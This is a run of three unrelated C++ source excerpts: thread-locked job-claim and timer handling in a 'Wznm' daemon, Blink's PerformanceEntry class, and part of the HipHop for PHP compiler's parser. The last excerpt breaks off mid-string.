csjob->srv->unlockAccess("XchgWznmd", "addCsjobClaim"); if (mod) triggerCall(dbswznm, VecWznmVCall::CALLWZNMCLAIMCHG, csjob->jref); }; }; bool XchgWznmd::getCsjobClaim( CsjobWznm* csjob , bool& takenNotAvailable , bool& fulfilled , bool& run ) { bool retval = false; Csjobinfo* csjobinfo = NULL;; takenNotAvailable = false; fulfilled = false; run = false; if (!csjob->srvNotCli && csjob->srv) { rwmCsjobinfos.rlock("XchgWznmd", "getCsjobClaim", "jref=" + to_string(csjob->jref)); csjobinfo = csjobinfos[csjob->ixWznmVJob]; csjobinfo->mClaims.rlock("XchgWznmd", "getCsjobClaim", "jref=" + to_string(csjob->jref)); auto it = csjobinfo->claims.find(csjob->jref); retval = (it != csjobinfo->claims.end()); if (retval) { takenNotAvailable = it->second->takenNotAvailable; fulfilled = it->second->fulfilled; run = it->second->run; }; csjobinfo->mClaims.runlock("XchgWznmd", "getCsjobClaim", "jref=" + to_string(csjob->jref)); rwmCsjobinfos.runlock("XchgWznmd", "getCsjobClaim", "jref=" + to_string(csjob->jref)); }; return retval; }; bool XchgWznmd::getCsjobClaim( CsjobWznm* csjob , bool& takenNotAvailable , bool& fulfilled ) { bool run; return getCsjobClaim(csjob, takenNotAvailable, fulfilled, run); }; void XchgWznmd::clearCsjobRun( DbsWznm* dbswznm , const uint ixWznmVJob ) { Csjobinfo* csjobinfo = NULL; Claim* claim = NULL; bool mod = false; rwmCsjobinfos.rlock("XchgWznmd", "clearCsjobRun", "srefIxWznmVJob=" + VecWznmVJob::getSref(ixWznmVJob)); auto it = csjobinfos.find(ixWznmVJob); if (it != csjobinfos.end()) csjobinfo = it->second; rwmCsjobinfos.runlock("XchgWznmd", "clearCsjobRun", "srefIxWznmVJob=" + VecWznmVJob::getSref(ixWznmVJob)); if (csjobinfo) { csjobinfo->mClaims.wlock("XchgWznmd", "clearCsjobRun", "srefIxWznmVJob=" + VecWznmVJob::getSref(ixWznmVJob)); for (auto it2 = csjobinfo->claims.begin(); it2 != csjobinfo->claims.end(); it2++) { claim = it2->second; if (claim->run) { claim->run = false; mod = true; }; }; csjobinfo->mClaims.wunlock("XchgWznmd", "clearCsjobRun", "srefIxWznmVJob=" + VecWznmVJob::getSref(ixWznmVJob)); if (mod) triggerCall(dbswznm, VecWznmVCall::CALLWZNMCLAIMCHG, csjobinfo->jrefSrv); }; }; void XchgWznmd::removeCsjobClaim( DbsWznm* dbswznm , CsjobWznm* csjob ) { Csjobinfo* csjobinfo = NULL;; bool mod = false; if (!csjob->srvNotCli && csjob->srv) { rwmCsjobinfos.rlock("XchgWznmd", "removeCsjobClaim", "jref=" + to_string(csjob->jref)); csjobinfo = csjobinfos[csjob->ixWznmVJob]; rwmCsjobinfos.runlock("XchgWznmd", "removeCsjobClaim", "jref=" + to_string(csjob->jref)); csjob->srv->lockAccess("XchgWznmd", "removeCsjobClaim"); csjobinfo->mClaims.wlock("XchgWznmd", "removeCsjobClaim", "jref=" + to_string(csjob->jref)); auto it = csjobinfo->claims.find(csjob->jref); if (it != csjobinfo->claims.end()) { delete it->second; csjobinfo->claims.erase(it); mod = csjob->srv->handleClaim(dbswznm, csjobinfo->claims, 0); }; csjobinfo->mClaims.wunlock("XchgWznmd", "removeCsjobClaim", "jref=" + to_string(csjob->jref)); csjob->srv->unlockAccess("XchgWznmd", "removeCsjobClaim"); if (mod) triggerCall(dbswznm, VecWznmVCall::CALLWZNMCLAIMCHG, csjobinfo->jrefSrv); }; }; bool XchgWznmd::getCsjobNotJob( const uint ixWznmVJob ) { bool retval; rwmCsjobinfos.rlock("XchgWznmd", "getCsjobNotJob", "srefIxWznmVJob=" + VecWznmVJob::getSref(ixWznmVJob)); retval = (csjobinfos.find(ixWznmVJob) != csjobinfos.end()); rwmCsjobinfos.runlock("XchgWznmd", "getCsjobNotJob", "srefIxWznmVJob=" + VecWznmVJob::getSref(ixWznmVJob)); return retval; }; set<ubigint> XchgWznmd::getCsjobClisByJref( const ubigint jref ) { set<ubigint> retval; rwmCsjobinfos.rlock("XchgWznmd", "getCsjobClis", "jref=" + to_string(jref)); auto it = csjobinfos.find(ixWznmVJobs[jref]); if (it != csjobinfos.end()) retval = it->second->jrefsCli; rwmCsjobinfos.runlock("XchgWznmd", "getCsjobClis", "jref=" + to_string(jref)); return retval; }; ubigint XchgWznmd::addWakeup( const ubigint jref , const string sref , const uint64_t deltat , const bool weak ) { int res; ubigint wref; pthread_t timer; wref = wrefseq.getNewRef(); if (deltat == 0) { // immediate callback: generate request to be treated by job processor ReqWznm* req = new ReqWznm(ReqWznm::VecVBasetype::TIMER); req->jref = jref; req->wref = wref; req->sref = sref; req->weak = false; addReq(req); } else { // delayed callback: generate dedicated wait thread WakeupWznm* wakeup = new WakeupWznm(this, wref, jref, sref, deltat, weak); for (unsigned int i = 0; i < 3; i++) { res = pthread_create(&timer, NULL, &runWakeup, (void*) wakeup); if ((res == 0) || (res != EAGAIN)) break; }; if (res != 0) cout << "XchgWznmd::addWakeup() error creating timer thread (" << res << ")" << endl; else { res = pthread_detach(timer); if (res != 0) cout << "XchgWznmd::addWakeup() error detaching timer thread (" << res << ")" << endl; }; }; return(wref); }; void* XchgWznmd::runWakeup( void* arg ) { WakeupWznm* wakeup = (WakeupWznm*) arg; // wait for time specified in microseconds timespec deltat; deltat.tv_sec = wakeup->deltat / 1000000; deltat.tv_nsec = 1000 * (wakeup->deltat%1000000); #ifdef _WIN32 usleep(wakeup->deltat); #else nanosleep(&deltat, NULL); #endif // generate request to be treated by job processor ReqWznm* req = new ReqWznm(ReqWznm::VecVBasetype::TIMER); req->jref = wakeup->jref; req->wref = wakeup->wref; req->sref = wakeup->sref; req->weak = wakeup->weak; wakeup->xchg->addReq(req); delete wakeup; return(NULL); }; void XchgWznmd::runExtcall( void* arg ) { ExtcallWznm* extcall = (ExtcallWznm*) arg; // generate request to be treated by job processor ReqWznm* req = new ReqWznm(ReqWznm::VecVBasetype::EXTCALL); req->call = new Call(*(extcall->call)); extcall->xchg->addReq(req); }; NodeWznm* XchgWznmd::addNode( const string& ip , const uint port , const uint opprcn , const uint ixWznmVOpengtype ) { NodeWznm* node = NULL; rwmNodes.wlock("XchgWznmd", "addNode", "ip:port=" + ip + ":" + to_string(port)); node = new NodeWznm(nrefseq.getNewRef(), ip, port, opprcn, ixWznmVOpengtype); nodes[node->nref] = node; rwmNodes.wunlock("XchgWznmd", "addNode", "nref=" + to_string(node->nref)); mon.eventAddNode(node->nref, ip, port, opprcn); setNodeState(node, NodeWznm::VecVState::IDLE); triggerCall(NULL, VecWznmVCall::CALLWZNMNODECHG, jrefRoot); return(node); }; NodeWznm* XchgWznmd::getNodeByNref( const ubigint nref ) { NodeWznm* node = NULL; rwmNodes.rlock("XchgWznmd", "getNodeByNref", "nref=" + to_string(nref)); auto it = nodes.find(nref); if (it != nodes.end()) node = it->second; rwmNodes.runlock("XchgWznmd", "getNodeByNref", "nref=" + to_string(nref)); return(node); }; void XchgWznmd::terminateNodes() { rwmNodes.wlock("XchgWznmd", "terminateNodes"); for (auto it = nodes.begin(); it != nodes.end(); it++) terminateNodeByNref(it->first); rwmNodes.wunlock("XchgWznmd", "terminateNodes"); }; void XchgWznmd::terminateNodeByNref( const ubigint nref ) { NodeWznm* node = NULL; rwmNodes.wlock("XchgWznmd", "terminateNodeByNref", "nref=" + to_string(nref)); node = getNodeByNref(nref); if (node) setNodeState(node, NodeWznm::VecVState::TERM); rwmNodes.wunlock("XchgWznmd", "terminateNodeByNref", "nref=" + to_string(nref)); }; void XchgWznmd::setNodeState( NodeWznm* node , const uint ixVState ) { cOpengcli.lockMutex("XchgWznmd", "setNodeState", "nref=" + to_string(node->nref)); rwmNodes.wlock("XchgWznmd", "setNodeState", "nref=" + to_string(node->nref)); if ( ((ixVState == NodeWznm::VecVState::ERROR) && (node->ixVState == NodeWznm::VecVState::READY)) || (ixVState == NodeWznm::VecVState::TERM)) node->ixVState = ixVState; rwmNodes.wunlock("XchgWznmd", "setNodeState", "nref=" + to_string(node->nref)); cOpengcli.unlockMutex("XchgWznmd", "setNodeState", "nref=" + to_string(node->nref)); cOpengcli.signal("XchgWznmd", "setNodeState", "nref=" + to_string(node->nref)); };
/* * Copyright (C) 2012 Google Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "core/timing/PerformanceEntry.h" #include "bindings/core/v8/ScriptValue.h" #include "bindings/core/v8/V8ObjectBuilder.h" namespace blink { PerformanceEntry::PerformanceEntry(const String& name, const String& entryType, double startTime, double finishTime) : m_name(name) , m_entryType(entryType) , m_startTime(startTime) , m_duration(finishTime - startTime) , m_entryTypeEnum(toEntryTypeEnum(entryType)) { } PerformanceEntry::~PerformanceEntry() { } String PerformanceEntry::name() const { return m_name; } String PerformanceEntry::entryType() const { return m_entryType; } double PerformanceEntry::startTime() const { return m_startTime; } double PerformanceEntry::duration() const { return m_duration; } PerformanceEntry::EntryType PerformanceEntry::toEntryTypeEnum(const String& entryType) { if (equalIgnoringCase(entryType, "composite")) return Composite; if (equalIgnoringCase(entryType, "mark")) return Mark; if (equalIgnoringCase(entryType, "measure")) return Measure; if (equalIgnoringCase(entryType, "render")) return Render; if (equalIgnoringCase(entryType, "resource")) return Resource; return Invalid; } ScriptValue PerformanceEntry::toJSONForBinding(ScriptState* scriptState) const { V8ObjectBuilder result(scriptState); buildJSONValue(result); return result.scriptValue(); } void PerformanceEntry::buildJSONValue(V8ObjectBuilder& builder) const { builder.addString("name", name()); builder.addString("entryType", entryType()); builder.addNumber("startTime", startTime()); builder.addNumber("duration", duration()); } } // namespace blink
/* +----------------------------------------------------------------------+ | HipHop for PHP | +----------------------------------------------------------------------+ | Copyright (c) 2010-2013 Facebook, Inc. (http://www.facebook.com) | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ */ #include "hphp/compiler/parser/parser.h" #include "hphp/compiler/type_annotation.h" #include "hphp/parser/hphp.tab.hpp" #include "hphp/compiler/analysis/file_scope.h" #include "hphp/compiler/expression/expression_list.h" #include "hphp/compiler/expression/assignment_expression.h" #include "hphp/compiler/expression/simple_variable.h" #include "hphp/compiler/expression/dynamic_variable.h" #include "hphp/compiler/expression/static_member_expression.h" #include "hphp/compiler/expression/array_element_expression.h" #include "hphp/compiler/expression/dynamic_function_call.h" #include "hphp/compiler/expression/simple_function_call.h" #include "hphp/compiler/expression/scalar_expression.h" #include "hphp/compiler/expression/object_property_expression.h" #include "hphp/compiler/expression/object_method_expression.h" #include "hphp/compiler/expression/list_assignment.h" #include "hphp/compiler/expression/new_object_expression.h" #include "hphp/compiler/expression/include_expression.h" #include "hphp/compiler/expression/unary_op_expression.h" #include "hphp/compiler/expression/binary_op_expression.h" #include "hphp/compiler/expression/qop_expression.h" #include "hphp/compiler/expression/array_pair_expression.h" #include "hphp/compiler/expression/class_constant_expression.h" #include "hphp/compiler/expression/parameter_expression.h" #include "hphp/compiler/expression/modifier_expression.h" #include "hphp/compiler/expression/constant_expression.h" #include "hphp/compiler/expression/encaps_list_expression.h" #include "hphp/compiler/expression/closure_expression.h" #include "hphp/compiler/expression/yield_expression.h" #include "hphp/compiler/expression/await_expression.h" #include "hphp/compiler/expression/user_attribute.h" #include "hphp/compiler/statement/function_statement.h" #include "hphp/compiler/statement/class_statement.h" #include "hphp/compiler/statement/interface_statement.h" #include "hphp/compiler/statement/class_variable.h" #include "hphp/compiler/statement/class_constant.h" #include "hphp/compiler/statement/method_statement.h" #include "hphp/compiler/statement/statement_list.h" #include "hphp/compiler/statement/block_statement.h" #include "hphp/compiler/statement/if_branch_statement.h" #include "hphp/compiler/statement/if_statement.h" #include "hphp/compiler/statement/while_statement.h" #include "hphp/compiler/statement/do_statement.h" #include "hphp/compiler/statement/for_statement.h" #include "hphp/compiler/statement/switch_statement.h" #include "hphp/compiler/statement/case_statement.h" #include "hphp/compiler/statement/break_statement.h" #include "hphp/compiler/statement/continue_statement.h" #include "hphp/compiler/statement/return_statement.h" #include "hphp/compiler/statement/global_statement.h" #include "hphp/compiler/statement/static_statement.h" #include "hphp/compiler/statement/echo_statement.h" #include "hphp/compiler/statement/unset_statement.h" #include "hphp/compiler/statement/exp_statement.h" #include "hphp/compiler/statement/foreach_statement.h" #include "hphp/compiler/statement/catch_statement.h" #include "hphp/compiler/statement/try_statement.h" #include "hphp/compiler/statement/finally_statement.h" #include "hphp/compiler/statement/throw_statement.h" #include "hphp/compiler/statement/goto_statement.h" #include "hphp/compiler/statement/label_statement.h" #include "hphp/compiler/statement/use_trait_statement.h" #include "hphp/compiler/statement/trait_prec_statement.h" #include "hphp/compiler/statement/trait_alias_statement.h" #include "hphp/compiler/statement/typedef_statement.h" #include "hphp/compiler/analysis/function_scope.h" #include "hphp/compiler/analysis/code_error.h" #include "hphp/compiler/analysis/analysis_result.h" #include "hphp/util/lock.h" #include "hphp/util/logger.h" #include "hphp/runtime/base/file-repository.h" #ifdef FACEBOOK #include "hphp/facebook/src/compiler/fb_compiler_hooks.h" #define RealSimpleFunctionCall FBSimpleFunctionCall #else #define RealSimpleFunctionCall SimpleFunctionCall #endif #define NEW_EXP0(cls) \ cls##Ptr(new cls(BlockScopePtr(), getLocation())) #define NEW_EXP(cls, e...) \ cls##Ptr(new cls(BlockScopePtr(), getLocation(), ##e)) #define NEW_STMT0(cls) \ cls##Ptr(new cls(BlockScopePtr(), getLocation())) #define NEW_STMT(cls, e...) \ cls##Ptr(new cls(BlockScopePtr(), getLocation(), ##e)) #define PARSE_ERROR(fmt, args...) HPHP_PARSER_ERROR(fmt, this, ##args) using namespace HPHP::Compiler; namespace HPHP { SimpleFunctionCallPtr NewSimpleFunctionCall( EXPRESSION_CONSTRUCTOR_PARAMETERS, const std::string &name, bool hadBackslash, ExpressionListPtr params, ExpressionPtr cls) { return SimpleFunctionCallPtr( new RealSimpleFunctionCall( EXPRESSION_CONSTRUCTOR_DERIVED_PARAMETER_VALUES, name, hadBackslash, params, cls)); } namespace Compiler { /////////////////////////////////////////////////////////////////////////////// // statics StatementListPtr Parser::ParseString(const String& input, AnalysisResultPtr ar, const char *fileName /* = NULL */, bool lambdaMode /* = false */) { assert(!input.empty()); if (!fileName || !*fileName) fileName = "string"; int len = input.size(); Scanner scanner(input.data(), len, Option::GetScannerType(), fileName, true); Parser parser(scanner, fileName, ar, len); parser.m_lambdaMode = lambdaMode; if (parser.parse()) { return parser.m_file->getStmt(); } Logger::Error("Error parsing %s: %s\n%s\n", fileName, parser.getMessage().c_str(), input.data()); return StatementListPtr(); } /////////////////////////////////////////////////////////////////////////////// Parser::Parser(Scanner &scanner, const char *fileName, AnalysisResultPtr ar, int fileSize /* = 0 */) : ParserBase(scanner, fileName), m_ar(ar), m_lambdaMode(false), m_closureGenerator(false), m_nsState(SeenNothing) { string md5str = Eval::FileRepository::unitMd5(scanner.getMd5()); MD5 md5 = MD5(md5str.c_str()); m_file = FileScopePtr(new FileScope(m_fileName, fileSize, md5)); newScope(); m_staticVars.push_back(StringToExpressionPtrVecMap()); m_inTrait = false; Lock lock(m_ar->getMutex()); m_ar->addFileScope(m_file); m_prependingStatements.push_back(vector<StatementPtr>()); } bool Parser::parse() { try { if (!parseImpl()) { throw ParseTimeFatalException(m_fileName, line1(), "Parse error: %s", errString().c_str()); } return true; } catch (const ParseTimeFatalException& e) { m_file->cleanupForError(m_ar); if (e.m_parseFatal) { m_file->makeParseFatal(m_ar, e.getMessage(), e.m_line); } else { m_file->makeFatal(m_ar, e.getMessage(), e.m_line); } return false; } } void Parser::error(const char* fmt, ...) { va_list ap; va_start(ap, fmt); string msg; Util::string_vsnprintf(msg, fmt, ap); va_end(ap); fatal(&m_loc, msg.c_str()); } void Parser::parseFatal(const Location* loc, const char* msg) { // we can't use loc->file, as the bison parser doesn't track that in YYLTYPE auto file = m_file->getName().c_str(); auto exn = ParseTimeFatalException(file, loc->line0, "%s", msg); exn.setParseFatal(); throw exn; } void Parser::fatal(const Location* loc, const char* msg) { throw ParseTimeFatalException(loc->file, loc->line0, "%s", msg); } string Parser::errString() { return m_error.empty() ? getMessage() : m_error; } bool Parser::enableFinallyStatement() { return Option::EnableFinallyStatement; } void Parser::pushComment() { m_comments.push_back(m_scanner.detachDocComment()); } void Parser::pushComment(const std::string& s) { m_comments.push_back(s); } std::string Parser::popComment() { std::string ret = m_comments.back(); m_comments.pop_back(); return ret; } void Parser::newScope() { m_scopes.push_back(BlockScopePtrVec()); } void Parser::completeScope(BlockScopePtr inner) { always_assert(inner); BlockScopePtrVec &sv = m_scopes.back(); for (int i = 0, n = sv.size(); i < n; i++) { BlockScopePtr scope = sv[i]; scope->setOuterScope(inner); } inner->getStmt()->resetScope(inner); m_scopes.pop_back(); if (m_scopes.size()) { m_scopes.back().push_back(inner); } } /////////////////////////////////////////////////////////////////////////////// // variables void Parser::onName(Token &out, Token &name, NameKind kind) { switch (kind) { case StringName: case StaticName: onScalar(out, T_STRING, name); break; case StaticClassExprName: case ExprName: case VarName: out = name; break; } } void Parser::onStaticVariable(Token &out, Token *exprs, Token &var, Token *value) { onVariable(out, exprs, var, value); if (m_staticVars.size()) { StringToExpressionPtrVecMap &m = m_staticVars.back(); m[var->text()].push_back(out->exp); } } void Parser::onClassVariable(Token &out, Token *exprs, Token &var, Token *value) { onVariable(out, exprs, var, value, false, m_scanner.detachDocComment()); } void Parser::onClassConstant(Token &out, Token *exprs, Token &var, Token &value) { onVariable(out, exprs, var, &value, true, m_scanner.detachDocComment()); } void Parser::onVariable(Token &out, Token *exprs, Token &var, Token *value, bool constant /* = false */, const std::string &docComment /* = "" */) { ExpressionPtr expList; if (exprs) { expList = exprs->exp; } else { expList = NEW_EXP0(ExpressionList); } ExpressionPtr exp; if (constant) { exp = NEW_EXP(ConstantExpression, var->text(), false, docComment); } else { exp = NEW_EXP(SimpleVariable, var->text(), docComment); } if (value) { exp = NEW_EXP(AssignmentExpression, exp, value->exp, false); } expList->addElement(exp); out->exp = expList; } void Parser::onSimpleVariable(Token &out, Token &var) { out->exp = NEW_EXP(SimpleVariable, var->text()); } void Parser::onDynamicVariable(Token &out, Token &expr, bool encap) { out->exp = getDynamicVariable(expr->exp, encap); } void Parser::onIndirectRef(Token &out, Token &refCount, Token &var) { out->exp = var->exp; for (int i = 0; i < refCount->num(); i++) { out->exp = createDynamicVariable(out->exp); } } void Parser::onStaticMember(Token &out, Token &cls, Token &name) { if (name->exp->is(Expression::KindOfArrayElementExpression) && dynamic_pointer_cast<ArrayElementExpression>(name->exp)-> appendClass(cls->exp, m_ar, m_file)) { out->exp = name->exp; } else { StaticMemberExpressionPtr sme = NEW_EXP(StaticMemberExpression, cls->exp, name->exp); sme->onParse(m_ar, m_file); out->exp = sme; } } void Parser::onRefDim(Token &out, Token &var, Token &offset) { if (!var->exp) { var->exp = NEW_EXP(ConstantExpression, var->text(), var->num() & 2); } if (!offset->exp) { UnaryOpExpressionPtr uop; if (dynamic_pointer_cast<FunctionCall>(var->exp)) { PARSE_ERROR("Can't use function call result as array base" " in write context"); } else if ((uop = dynamic_pointer_cast<UnaryOpExpression>(var->exp)) && uop->getOp() == T_ARRAY) { PARSE_ERROR("Can't use array() as base in write context"); } } out->exp = NEW_EXP(ArrayElementExpression, var->exp, offset->exp); } ExpressionPtr Parser::getDynamicVariable(ExpressionPtr exp, bool encap) { if (encap) { ConstantExpressionPtr var = dynamic_pointer_cast<ConstantExpression>(exp); if (var) { return NEW_EXP(SimpleVariable, var->getName()); } } else { ScalarExpressionPtr var = dynamic_pointer_cast<ScalarExpression>(exp); if (var) { return NEW_EXP(SimpleVariable, var->getString()); } } return createDynamicVariable(exp); } ExpressionPtr Parser::createDynamicVariable(ExpressionPtr exp) { m_file->setAttribute(FileScope::ContainsDynamicVariable); return NEW_EXP(DynamicVariable, exp); } void Parser::onCallParam(Token &out, Token *params, Token &expr, bool ref) { if (!params) { out->exp = NEW_EXP0(ExpressionList); } else { out->exp = params->exp; } if (ref) { expr->exp->setContext(Expression::RefParameter); expr->exp->setContext(Expression::RefValue); } out->exp->addElement(expr->exp); } void Parser::onCall(Token &out, bool dynamic, Token &name, Token &params, Token *cls, bool fromCompiler) { ExpressionPtr clsExp; if (cls) { clsExp = cls->exp; } if (dynamic) { out->exp = NEW_EXP(DynamicFunctionCall, name->exp, dynamic_pointer_cast<ExpressionList>(params->exp), clsExp); assert(!fromCompiler); } else { const string &s = name.text(); // strip out namespaces for func_get_args and friends check size_t lastBackslash = s.find_last_of(NAMESPACE_SEP); const string stripped = lastBackslash == string::npos ? s : s.substr(lastBackslash+1); if (stripped == "func_num_args" || stripped == "func_get_args" || stripped == "func_get_arg") { if (m_hasCallToGetArgs.size() > 0) { m_hasCallToGetArgs.back() = true; } } SimpleFunctionCallPtr call (new RealSimpleFunctionCall (BlockScopePtr(), getLocation(), name->text(), name->num() & 2, dynamic_pointer_cast<ExpressionList>(params->exp), clsExp)); if (fromCompiler) { call->setFromCompiler(); } out->exp = call; call->onParse(m_ar, m_file); } } /////////////////////////////////////////////////////////////////////////////// // object property and method calls void Parser::onObjectProperty(Token &out, Token &base, Token &prop) { if (!prop->exp) { prop->exp = NEW_EXP(ScalarExpression, T_STRING, prop->text()); } out->exp = NEW_EXP(ObjectPropertyExpression, base->exp, prop->exp); } void Parser::onObjectMethodCall(Token &out, Token &base, Token &prop, Token &params) { if (!prop->exp) { prop->exp = NEW_EXP(ScalarExpression, T_STRING, prop->text()); } ExpressionListPtr paramsExp; if (params->exp) { paramsExp = dynamic_pointer_cast<ExpressionList>(params->exp); } else { paramsExp = NEW_EXP0(ExpressionList); } out->exp = NEW_EXP(ObjectMethodExpression, base->exp, prop->exp, paramsExp); } /////////////////////////////////////////////////////////////////////////////// // encapsed expressions void Parser::onEncapsList(Token &out, int type, Token &list) { out->exp = NEW_EXP(EncapsListExpression, type, dynamic_pointer_cast<ExpressionList>(list->exp)); } void Parser::addEncap(Token &out, Token *list, Token &expr, int type) { ExpressionListPtr expList; if (list && list->exp) { expList = dynamic_pointer_cast<ExpressionList>(list->exp); } else { expList = NEW_EXP0(ExpressionList); } ExpressionPtr exp; if (type == -1) { exp = expr->exp; } else { exp = NEW_EXP(ScalarExpression, T_ENCAPSED_AND_WHITESPACE, expr->text(), true); } expList->addElement(exp); out->exp = expList; } void Parser::encapRefDim(Token &out, Token &var, Token &offset) { ExpressionPtr dim; switch (offset->num()) { case T_STRING: dim = NEW_EXP(ScalarExpression, T_STRING, offset->text(), true); break; case T_NUM_STRING: dim = NEW_EXP(ScalarExpression, T_NUM_STRING, offset->text()); break; case T_VARIABLE: dim = NEW_EXP(SimpleVariable, offset->text()); break; default: assert(false); } ExpressionPtr arr = NEW_EXP(SimpleVariable, var->text()); out->exp = NEW_EXP(ArrayElementExpression, arr, dim); } void Parser::encapObjProp(Token &out, Token &var, Token &name) { ExpressionPtr obj = NEW_EXP(SimpleVariable, var->text()); ExpressionPtr prop = NEW_EXP(ScalarExpression, T_STRING, name->text()); out->exp = NEW_EXP(ObjectPropertyExpression, obj, prop); } void Parser::encapArray(Token &out, Token &var, Token &expr) { ExpressionPtr arr = NEW_EXP(SimpleVariable, var->text()); out->exp = NEW_EXP(ArrayElementExpression, arr, expr->exp); } /////////////////////////////////////////////////////////////////////////////// // expressions void Parser::onConstantValue(Token &out, Token &constant) { ConstantExpressionPtr con = NEW_EXP(ConstantExpression, constant->text(), constant->num() & 2); con->onParse(m_ar, m_file); out->exp = con; } void Parser::onScalar(Token &out, int type, Token &scalar) { if (type == T_FILE || type == T_DIR) { onUnaryOpExp(out, scalar, type, true); return; } ScalarExpressionPtr exp; switch (type) { case T_METHOD_C: if (m_inTrait) { exp = NEW_EXP(ScalarExpression, type, scalar->text(), m_clsName + "::" + m_funcName); } else { exp = NEW_EXP(ScalarExpression, type, scalar->text()); } break; case T_STRING: case T_LNUMBER: case T_DNUMBER: case T_LINE: case T_COMPILER_HALT_OFFSET: case T_FUNC_C: case T_CLASS_C: exp = NEW_EXP(ScalarExpression, type, scalar->text()); break; case T_TRAIT_C: exp = NEW_EXP(ScalarExpression, type, scalar->text(), m_inTrait ? m_clsName : ""); break; case T_NS_C: exp = NEW_EXP(ScalarExpression, type, m_namespace); break; case T_CONSTANT_ENCAPSED_STRING: exp = NEW_EXP(ScalarExpression, type, scalar->text(), true); break; default: assert(false); } if (type == T_COMPILER_HALT_OFFSET) { // Keep track of this expression for later backpatching // If it doesn't get backpatched (because there was no HALT_COMPILER // then the constant will return (int)"__COMPILER_HALT_OFFSET__" (zero) m_compilerHaltOffsetVec.push_back(exp); } out->exp = exp; } void Parser::onExprListElem(Token &out, Token *exprs, Token &expr) { ExpressionPtr expList; if (exprs && exprs->exp) { expList = exprs->exp; } else { expList = NEW_EXP0(ExpressionList); } expList->addElement(expr->exp); out->exp = expList; } void Parser::onListAssignment(Token &out, Token &vars, Token *expr, bool rhsFirst /* = false */) { ExpressionListPtr el(dynamic_pointer_cast<ExpressionList>(vars->exp)); for (int i = 0; i < el->getCount(); i++) { if (dynamic_pointer_cast<FunctionCall>((*el)[i])) { PARSE_ERROR("Can't use return value in write context"); } } out->exp = NEW_EXP(ListAssignment, dynamic_pointer_cast<ExpressionList>(vars->exp), expr ? expr->exp : ExpressionPtr(), rhsFirst); } void Parser::onAListVar(Token &out, Token *list, Token *var) { Token empty_list, empty_var; if (!var) { empty_var.exp = ExpressionPtr(); var = &empty_var; } if (!list) { empty_list.exp = NEW_EXP0(ExpressionList); list = &empty_list; } onExprListElem(out, list, *var); } void Parser::onAListSub(Token &out, Token *list, Token &sublist) { onListAssignment(out, sublist, nullptr); onExprListElem(out, list, out); } void Parser::checkAssignThis(Token &var) { if (SimpleVariablePtr simp = dynamic_pointer_cast<SimpleVariable>(var.exp)) { if (simp->getName() == "this") { PARSE_ERROR("Cannot re-assign $this"); } } } void Parser::onAssign(Token &out, Token &var, Token &expr, bool ref, bool rhsFirst /* = false */) { if (dynamic_pointer_cast<FunctionCall>(var->exp)) { PARSE_ERROR("Can't use return value in write context"); } checkAssignThis(var); out->exp = NEW_EXP(AssignmentExpression, var->exp, expr->exp, ref, rhsFirst); } void Parser::onAssignNew(Token &out, Token &var, Token &name, Token &args) { checkAssignThis(var); ExpressionPtr exp = NEW_EXP(NewObjectExpression, name->exp, dynamic_pointer_cast<ExpressionList>(args->exp)); out->exp = NEW_EXP(AssignmentExpression, var->exp, exp, true); } void Parser::onNewObject(Token &out, Token &name, Token &args) { NewObjectExpressionPtr new_obj = NEW_EXP(NewObjectExpression, name->exp, dynamic_pointer_cast<ExpressionList>(args->exp)); new_obj->onParse(m_ar, m_file); out->exp = new_obj; } void Parser::onUnaryOpExp(Token &out, Token &operand, int op, bool front) { switch (op) { case T_INCLUDE: case T_INCLUDE_ONCE: case T_REQUIRE: case T_REQUIRE_ONCE: { IncludeExpressionPtr exp = NEW_EXP(IncludeExpression, operand->exp, op); out->exp = exp; exp->onParse(m_ar, m_file); } break; case T_INC: case T_DEC: case T_ISSET: case T_UNSET: if (dynamic_pointer_cast<FunctionCall>(operand->exp)) { PARSE_ERROR("Can't use return value in write context"); } default: { UnaryOpExpressionPtr exp = NEW_EXP(UnaryOpExpression, operand->exp, op, front); out->exp = exp; exp->onParse(m_ar, m_file); } break; } } void Parser::onBinaryOpExp(Token &out, Token &operand1, Token &operand2, int op) { BinaryOpExpressionPtr bop = NEW_EXP(BinaryOpExpression, operand1->exp, operand2->exp, op); if (bop->isAssignmentOp() && dynamic_pointer_cast<FunctionCall>(operand1->exp)) { PARSE_ERROR("Can't use return value in write context"); } out->exp = bop; // If the operands are simple enough we can fold this expression right // here and keep the parse tree smaller. if (ExpressionPtr optExp = bop->foldConst(m_ar)) out->exp = optExp; } void Parser::onQOp(Token &out, Token &exprCond, Token *expYes, Token &expNo) { out->exp = NEW_EXP(QOpExpression, exprCond->exp, expYes ? expYes->exp : ExpressionPtr(), expNo->exp); } void Parser::onArray(Token &out, Token &pairs, int op /* = T_ARRAY */) { if (op != T_ARRAY && !m_scanner.isHHSyntaxEnabled()) { PARSE_ERROR("Typed collection is 